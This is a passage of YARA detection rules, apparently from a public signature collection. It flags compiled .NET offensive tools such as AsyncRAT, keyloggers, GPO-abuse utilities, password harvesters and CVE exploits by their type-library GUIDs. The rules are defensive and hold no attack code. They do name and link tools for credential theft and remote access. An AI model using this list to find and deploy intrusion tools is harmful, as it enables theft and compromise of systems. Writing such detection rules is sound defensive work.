		$typelibguid4up = "17FBC926-E17E-4034-BA1B-FB2EB57F5DD3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Change_Lockscreen
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/nccgroup/Change-Lockscreen"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "a817c6e8-95f9-56c6-97b8-4be06658629f"

	strings:
		$typelibguid0lo = "78642ab3-eaa6-4e9c-a934-e7b0638bc1cc" ascii wide
		$typelibguid0up = "78642AB3-EAA6-4E9C-A934-E7B0638BC1CC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_LOLBITS
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Kudaes/LOLBITS"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "66454ac0-742b-51a3-ac45-1ac9606e8b89"

	strings:
		$typelibguid0lo = "29d09aa4-ea0c-47c2-973c-1d768087d527" ascii wide
		$typelibguid0up = "29D09AA4-EA0C-47C2-973C-1D768087D527" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Keylogger
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/BlackVikingPro/Keylogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0576756e-26d5-5165-b621-917126a75a38"

	strings:
		$typelibguid0lo = "7afbc9bf-32d9-460f-8a30-35e30aa15879" ascii wide
		$typelibguid0up = "7AFBC9BF-32D9-460F-8A30-35E30AA15879" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CVE_2020_1337
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/neofito/CVE-2020-1337"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "4b79867d-761c-5aa8-bf8a-60caa50d8aa6"

	strings:
		$typelibguid0lo = "d9c2e3c1-e9cc-42b0-a67c-b6e1a4f962cc" ascii wide
		$typelibguid0up = "D9C2E3C1-E9CC-42B0-A67C-B6E1A4F962CC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpLogger
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/SharpLogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5cce395b-4f6f-5015-b45e-7eb79853296a"

	strings:
		$typelibguid0lo = "36e00152-e073-4da8-aa0c-375b6dd680c4" ascii wide
		$typelibguid0up = "36E00152-E073-4DA8-AA0C-375B6DD680C4" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AsyncRAT_C_Sharp
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "858a079d-71e8-516e-a2a9-f0969edc758b"

	strings:
		$typelibguid0lo = "619b7612-dfea-442a-a927-d997f99c497b" ascii wide
		$typelibguid0up = "619B7612-DFEA-442A-A927-D997F99C497B" ascii wide
		$typelibguid1lo = "424b81be-2fac-419f-b4bc-00ccbe38491f" ascii wide
		$typelibguid1up = "424B81BE-2FAC-419F-B4BC-00CCBE38491F" ascii wide
		$typelibguid2lo = "37e20baf-3577-4cd9-bb39-18675854e255" ascii wide
		$typelibguid2up = "37E20BAF-3577-4CD9-BB39-18675854E255" ascii wide
		$typelibguid3lo = "dafe686a-461b-402b-bbd7-2a2f4c87c773" ascii wide
		$typelibguid3up = "DAFE686A-461B-402B-BBD7-2A2F4C87C773" ascii wide
		$typelibguid4lo = "ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3" ascii wide
		$typelibguid4up = "EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3" ascii wide
		$typelibguid5lo = "8bfc8ed2-71cc-49dc-9020-2c8199bc27b6" ascii wide
		$typelibguid5up = "8BFC8ED2-71CC-49DC-9020-2C8199BC27B6" ascii wide
		$typelibguid6lo = "d640c36b-2c66-449b-a145-eb98322a67c8" ascii wide
		$typelibguid6up = "D640C36B-2C66-449B-A145-EB98322A67C8" ascii wide
		$typelibguid7lo = "8de42da3-be99-4e7e-a3d2-3f65e7c1abce" ascii wide
		$typelibguid7up = "8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE" ascii wide
		$typelibguid8lo = "bee88186-769a-452c-9dd9-d0e0815d92bf" ascii wide
		$typelibguid8up = "BEE88186-769A-452C-9DD9-D0E0815D92BF" ascii wide
		$typelibguid9lo = "9042b543-13d1-42b3-a5b6-5cc9ad55e150" ascii wide
		$typelibguid9up = "9042B543-13D1-42B3-A5B6-5CC9AD55E150" ascii wide
		$typelibguid10lo = "6aa4e392-aaaf-4408-b550-85863dd4baaf" ascii wide
		$typelibguid10up = "6AA4E392-AAAF-4408-B550-85863DD4BAAF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DarkFender
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xyg3n/DarkFender"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0aea5e05-7788-5581-8bcc-d2e75a291dd9"

	strings:
		$typelibguid0lo = "12fdf7ce-4a7c-41b6-9b32-766ddd299beb" ascii wide
		$typelibguid0up = "12FDF7CE-4A7C-41B6-9B32-766DDD299BEB" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_MinerDropper
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/DylanAlloy/MinerDropper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "607f72df-b0c1-53df-bf2c-592f55cbfcb7"

	strings:
		$typelibguid0lo = "46a7af83-1da7-40b2-9d86-6fd6223f6791" ascii wide
		$typelibguid0up = "46A7AF83-1DA7-40B2-9D86-6FD6223F6791" ascii wide
		$typelibguid1lo = "8433a693-f39d-451b-955b-31c3e7fa6825" ascii wide
		$typelibguid1up = "8433A693-F39D-451B-955B-31C3E7FA6825" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpDomainSpray
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/HunnicCyber/SharpDomainSpray"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "cffd3350-4a86-5035-ab15-adbc3ac2a0e9"

	strings:
		$typelibguid0lo = "76ffa92b-429b-4865-970d-4e7678ac34ea" ascii wide
		$typelibguid0up = "76FFA92B-429B-4865-970D-4E7678AC34EA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_iSpyKeylogger
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mwsrc/iSpyKeylogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8607de67-b472-5afc-b2b9-cc758b5ec474"

	strings:
		$typelibguid0lo = "ccc0a386-c4ce-42ef-aaea-b2af7eff4ad8" ascii wide
		$typelibguid0up = "CCC0A386-C4CE-42EF-AAEA-B2AF7EFF4AD8" ascii wide
		$typelibguid1lo = "816b8b90-2975-46d3-aac9-3c45b26437fa" ascii wide
		$typelibguid1up = "816B8B90-2975-46D3-AAC9-3C45B26437FA" ascii wide
		$typelibguid2lo = "279b5533-d3ac-438f-ba89-3fe9de2da263" ascii wide
		$typelibguid2up = "279B5533-D3AC-438F-BA89-3FE9DE2DA263" ascii wide
		$typelibguid3lo = "88d3dc02-2853-4bf0-b6dc-ad31f5135d26" ascii wide
		$typelibguid3up = "88D3DC02-2853-4BF0-B6DC-AD31F5135D26" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SolarFlare
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mubix/solarflare"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-15"
		modified = "2023-04-06"
		id = "3645e14c-6025-59fa-a5a2-d8dacba8cd94"

	strings:
		$typelibguid0lo = "ca60e49e-eee9-409b-8d1a-d19f1d27b7e4" ascii wide
		$typelibguid0up = "CA60E49E-EEE9-409B-8D1A-D19F1D27B7E4" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Snaffler
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/SnaffCon/Snaffler"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d4b9a8c5-e0d9-5c85-af81-05f6e0f52bff"

	strings:
		$typelibguid0lo = "2aa060b4-de88-4d2a-a26a-760c1cefec3e" ascii wide
		$typelibguid0up = "2AA060B4-DE88-4D2A-A26A-760C1CEFEC3E" ascii wide
		$typelibguid1lo = "b118802d-2e46-4e41-aac7-9ee890268f8b" ascii wide
		$typelibguid1up = "B118802D-2E46-4E41-AAC7-9EE890268F8B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpShares
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/SharpShares/"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e96aa79b-1da2-5b0c-9ac2-b6e201e06ec6"

	strings:
		$typelibguid0lo = "fe9fdde5-3f38-4f14-8c64-c3328c215cf2" ascii wide
		$typelibguid0up = "FE9FDDE5-3F38-4F14-8C64-C3328C215CF2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpEDRChecker
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/PwnDexter/SharpEDRChecker"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-18"
		modified = "2023-04-06"
		id = "f7ff344e-f8ee-5c3a-bdd1-de3cae8e7dfb"

	strings:
		$typelibguid0lo = "bdfee233-3fed-42e5-aa64-492eb2ac7047" ascii wide
		$typelibguid0up = "BDFEE233-3FED-42E5-AA64-492EB2AC7047" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpClipHistory
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FSecureLABS/SharpClipHistory"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "89ca4717-a4ec-5371-8dc3-bdb9933384af"

	strings:
		$typelibguid0lo = "1126d5b4-efc7-4b33-a594-b963f107fe82" ascii wide
		$typelibguid0up = "1126D5B4-EFC7-4B33-A594-B963F107FE82" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpGPO_RemoteAccessPolicies
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "642c2672-2327-5a4a-af91-6e0559996908"

	strings:
		$typelibguid0lo = "fbb1abcf-2b06-47a0-9311-17ba3d0f2a50" ascii wide
		$typelibguid0up = "FBB1ABCF-2B06-47A0-9311-17BA3D0F2A50" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Absinthe
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/cameronhotchkies/Absinthe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "8f25593b-b9d2-5807-b299-b039ecfd43a5"

	strings:
		$typelibguid0lo = "9936ae73-fb4e-4c5e-a5fb-f8aaeb3b9bd6" ascii wide
		$typelibguid0up = "9936AE73-FB4E-4C5E-A5FB-F8AAEB3B9BD6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ExploitRemotingService
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/tyranid/ExploitRemotingService"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "2f0b9635-2b2e-5825-baeb-69d7ae3791b1"

	strings:
		$typelibguid0lo = "fd17ae38-2fd3-405f-b85b-e9d14e8e8261" ascii wide
		$typelibguid0up = "FD17AE38-2FD3-405F-B85B-E9D14E8E8261" ascii wide
		$typelibguid1lo = "1850b9bb-4a23-4d74-96b8-58f274674566" ascii wide
		$typelibguid1up = "1850B9BB-4A23-4D74-96B8-58F274674566" ascii wide
		$typelibguid2lo = "297cbca1-efa3-4f2a-8d5f-e1faf02ba587" ascii wide
		$typelibguid2up = "297CBCA1-EFA3-4F2A-8D5F-E1FAF02BA587" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Xploit
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/shargon/Xploit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "11ba6c14-06b6-5d9f-ac69-08ae506877e7"

	strings:
		$typelibguid0lo = "4545cfde-9ee5-4f1b-b966-d128af0b9a6e" ascii wide
		$typelibguid0up = "4545CFDE-9EE5-4F1B-B966-D128AF0B9A6E" ascii wide
		$typelibguid1lo = "33849d2b-3be8-41e8-a1e2-614c94c4533c" ascii wide
		$typelibguid1up = "33849D2B-3BE8-41E8-A1E2-614C94C4533C" ascii wide
		$typelibguid2lo = "c2dc73cc-a959-4965-8499-a9e1720e594b" ascii wide
		$typelibguid2up = "C2DC73CC-A959-4965-8499-A9E1720E594B" ascii wide
		$typelibguid3lo = "77059fa1-4b7d-4406-bc1a-cb261086f915" ascii wide
		$typelibguid3up = "77059FA1-4B7D-4406-BC1A-CB261086F915" ascii wide
		$typelibguid4lo = "a4a04c4d-5490-4309-9c90-351e5e5fd6d1" ascii wide
		$typelibguid4up = "A4A04C4D-5490-4309-9C90-351E5E5FD6D1" ascii wide
		$typelibguid5lo = "ca64f918-3296-4b7d-9ce6-b98389896765" ascii wide
		$typelibguid5up = "CA64F918-3296-4B7D-9CE6-B98389896765" ascii wide
		$typelibguid6lo = "10fe32a0-d791-47b2-8530-0b19d91434f7" ascii wide
		$typelibguid6up = "10FE32A0-D791-47B2-8530-0B19D91434F7" ascii wide
		$typelibguid7lo = "679bba57-3063-4f17-b491-4f0a730d6b02" ascii wide
		$typelibguid7up = "679BBA57-3063-4F17-B491-4F0A730D6B02" ascii wide
		$typelibguid8lo = "0981e164-5930-4ba0-983c-1cf679e5033f" ascii wide
		$typelibguid8up = "0981E164-5930-4BA0-983C-1CF679E5033F" ascii wide
		$typelibguid9lo = "2a844ca2-5d6c-45b5-963b-7dca1140e16f" ascii wide
		$typelibguid9up = "2A844CA2-5D6C-45B5-963B-7DCA1140E16F" ascii wide
		$typelibguid10lo = "7d75ca11-8745-4382-b3eb-c41416dbc48c" ascii wide
		$typelibguid10up = "7D75CA11-8745-4382-B3EB-C41416DBC48C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PoC
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/thezdi/PoC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "5669bc1a-b32e-5ae7-bf94-8ed2a124c765"

	strings:
		$typelibguid0lo = "89f9d411-e273-41bb-8711-209fd251ca88" ascii wide
		$typelibguid0up = "89F9D411-E273-41BB-8711-209FD251CA88" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpGPOAbuse
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FSecureLABS/SharpGPOAbuse"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "ea27044f-69be-5db7-8d77-28dafb18c7e5"

	strings:
		$typelibguid0lo = "4f495784-b443-4838-9fa6-9149293af785" ascii wide
		$typelibguid0up = "4F495784-B443-4838-9FA6-9149293AF785" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Watson
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/Watson"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "6dc7bb08-0b34-50a0-8ae8-02d96d66a334"

	strings:
		$typelibguid0lo = "49ad5f38-9e37-4967-9e84-fe19c7434ed7" ascii wide
		$typelibguid0up = "49AD5F38-9E37-4967-9E84-FE19C7434ED7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_StandIn
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FuzzySecurity/StandIn"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "2af3c28a-ce5d-5dea-9abe-ff54b180049e"

	strings:
		$typelibguid0lo = "01c142ba-7af1-48d6-b185-81147a2f7db7" ascii wide
		$typelibguid0up = "01C142BA-7AF1-48D6-B185-81147A2F7DB7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_azure_password_harvesting
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/guardicore/azure_password_harvesting"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "681cf9da-d664-5402-b7ac-eb2cfad85da9"

	strings:
		$typelibguid0lo = "7ad1ff2d-32ac-4c54-b615-9bb164160dac" ascii wide
		$typelibguid0up = "7AD1FF2D-32AC-4C54-B615-9BB164160DAC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PowerOPS
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/fdiskyou/PowerOPS"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "3ef9f099-13c9-5b6f-8615-232240530078"

	strings:
		$typelibguid0lo = "2a3c5921-7442-42c3-8cb9-24f21d0b2414" ascii wide
		$typelibguid0up = "2A3C5921-7442-42C3-8CB9-24F21D0B2414" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Random_CSharpTools
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/xorrior/Random-CSharpTools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-21"
		modified = "2023-04-06"
		id = "ad8b5573-ad20-50cd-927b-a6401b10e653"

	strings:
		$typelibguid0lo = "f7fc19da-67a3-437d-b3b0-2a257f77a00b" ascii wide
		$typelibguid0up = "F7FC19DA-67A3-437D-B3B0-2A257F77A00B" ascii wide
		$typelibguid1lo = "47e85bb6-9138-4374-8092-0aeb301fe64b" ascii wide
		$typelibguid1up = "47E85BB6-9138-4374-8092-0AEB301FE64B" ascii wide
		$typelibguid2lo = "c7d854d8-4e3a-43a6-872f-e0710e5943f7" ascii wide
		$typelibguid2up = "C7D854D8-4E3A-43A6-872F-E0710E5943F7" ascii wide
		$typelibguid3lo = "d6685430-8d8d-4e2e-b202-de14efa25211" ascii wide
		$typelibguid3up = "D6685430-8D8D-4E2E-B202-DE14EFA25211" ascii wide
		$typelibguid4lo = "1df925fc-9a89-4170-b763-1c735430b7d0" ascii wide
		$typelibguid4up = "1DF925FC-9A89-4170-B763-1C735430B7D0" ascii wide
		$typelibguid5lo = "817cc61b-8471-4c1e-b5d6-c754fc550a03" ascii wide
		$typelibguid5up = "817CC61B-8471-4C1E-B5D6-C754FC550A03" ascii wide
		$typelibguid6lo = "60116613-c74e-41b9-b80e-35e02f25891e" ascii wide
		$typelibguid6up = "60116613-C74E-41B9-B80E-35E02F25891E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CVE_2020_0668
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/RedCursorSecurityConsulting/CVE-2020-0668"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "54c87578-f0f1-5108-a736-b6acd9624d29"

	strings:
		$typelibguid0lo = "1b4c5ec1-2845-40fd-a173-62c450f12ea5" ascii wide
		$typelibguid0up = "1B4C5EC1-2845-40FD-A173-62C450F12EA5" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_WindowsRpcClients
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/tyranid/WindowsRpcClients"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "70fd7431-8c32-52a4-be9f-2a19ef77f2cc"

	strings:
		$typelibguid0lo = "843d8862-42eb-49ee-94e6-bca798dd33ea" ascii wide
		$typelibguid0up = "843D8862-42EB-49EE-94E6-BCA798DD33EA" ascii wide
		$typelibguid1lo = "632e4c3b-3013-46fc-bc6e-22828bf629e3" ascii wide
		$typelibguid1up = "632E4C3B-3013-46FC-BC6E-22828BF629E3" ascii wide
		$typelibguid2lo = "a2091d2f-6f7e-4118-a203-4cea4bea6bfa" ascii wide
		$typelibguid2up = "A2091D2F-6F7E-4118-A203-4CEA4BEA6BFA" ascii wide
		$typelibguid3lo = "950ef8ce-ec92-4e02-b122-0d41d83065b8" ascii wide
		$typelibguid3up = "950EF8CE-EC92-4E02-B122-0D41D83065B8" ascii wide
		$typelibguid4lo = "d51301bc-31aa-4475-8944-882ecf80e10d" ascii wide
		$typelibguid4up = "D51301BC-31AA-4475-8944-882ECF80E10D" ascii wide
		$typelibguid5lo = "823ff111-4de2-4637-af01-4bdc3ca4cf15" ascii wide
		$typelibguid5up = "823FF111-4DE2-4637-AF01-4BDC3CA4CF15" ascii wide
		$typelibguid6lo = "5d28f15e-3bb8-4088-abe0-b517b31d4595" ascii wide
		$typelibguid6up = "5D28F15E-3BB8-4088-ABE0-B517B31D4595" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpFruit
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rvrsh3ll/SharpFruit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "bf318530-b17d-5275-84b2-c284528bdae6"

	strings:
		$typelibguid0lo = "3da2f6de-75be-4c9d-8070-08da45e79761" ascii wide
		$typelibguid0up = "3DA2F6DE-75BE-4C9D-8070-08DA45E79761" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpWitness
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/SharpWitness"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "5e707da6-b2dd-511e-89ad-d19b93e8fca6"

	strings:
		$typelibguid0lo = "b9f6ec34-4ccc-4247-bcef-c1daab9b4469" ascii wide
		$typelibguid0up = "B9F6EC34-4CCC-4247-BCEF-C1DAAB9B4469" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RexCrypter
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/syrex1013/RexCrypter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "5ebbeab3-3e93-5544-8f74-3d1b47335d8b"

	strings:
		$typelibguid0lo = "10cd7c1c-e56d-4b1b-80dc-e4c496c5fec5" ascii wide
		$typelibguid0up = "10CD7C1C-E56D-4B1B-80DC-E4C496C5FEC5" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharPersist
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/fireeye/SharPersist"
